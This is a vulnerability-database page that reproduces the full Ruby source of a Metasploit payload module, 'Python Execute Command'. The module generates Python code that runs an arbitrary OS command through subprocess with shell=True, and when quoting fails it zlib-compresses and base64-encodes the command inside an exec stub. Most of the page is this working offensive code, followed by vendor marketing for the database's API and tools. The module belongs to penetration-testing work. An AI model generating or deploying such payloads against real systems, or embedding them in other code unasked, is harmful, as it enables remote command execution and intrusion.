Lucene search
K

Python Execute Command

🗓️ 01 Nov 2024 18:54:17Reported by Spencer McIntyreType 
metasploit
 metasploit
🔗 www.rapid7.com👁 320 Views

Python Execute Command module to execute OS command

Code
module MetasploitModule
  CachedSize = :dynamic

  include Msf::Payload::Single
  include Msf::Payload::Python

  def initialize(info = {})
    super(
      merge_info(
        info,
        'Name' => 'Python Execute Command',
        'Description' => 'Execute an arbitrary OS command. Compatible with Python 2.7 and 3.4+.',
        'Author' => 'Spencer McIntyre',
        'License' => MSF_LICENSE,
        'Platform' => 'python',
        'Arch' => ARCH_PYTHON,
        'PayloadType' => 'python',
        'Payload' => {
          'Offsets' => {},
          'Payload' => ''
        }
      )
    )
    register_options(
      [
        OptString.new('CMD', [ true, 'The command string to execute' ]),
      ]
    )
  end

  def generate(_opts = {})
    super + command_string
  end

  def command_string
    py_code = %(from subprocess import Popen,PIPE\n)

    # try to just use raw strings if nothing would need to be escaped
    if !datastore['CMD'].include?("'")
      py_code << %(args=[r'#{datastore['CMD']}']\n)
    elsif !datastore['CMD'].include?('"')
      py_code << %(args=[r"#{datastore['CMD']}"]\n)
    elsif !datastore['CMD'].include?("'''")
      py_code << %(args=[r'''#{datastore['CMD']}''']\n)
    elsif !datastore['CMD'].include?('"""')
      py_code << %(args=[r"""#{datastore['CMD']}"""]\n)
    else
      encoded = Rex::Text.encode_base64(Rex::Text.zlib_deflate(datastore['CMD']))
      py_code << %{import zlib,base64;args=[zlib.decompress(base64.b64decode('#{encoded}')).decode()]\n}
    end

    py_code << %{Popen(args,shell=True,stdin=PIPE,stdout=PIPE,stderr=PIPE)\n}

    py_create_exec_stub(py_code)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation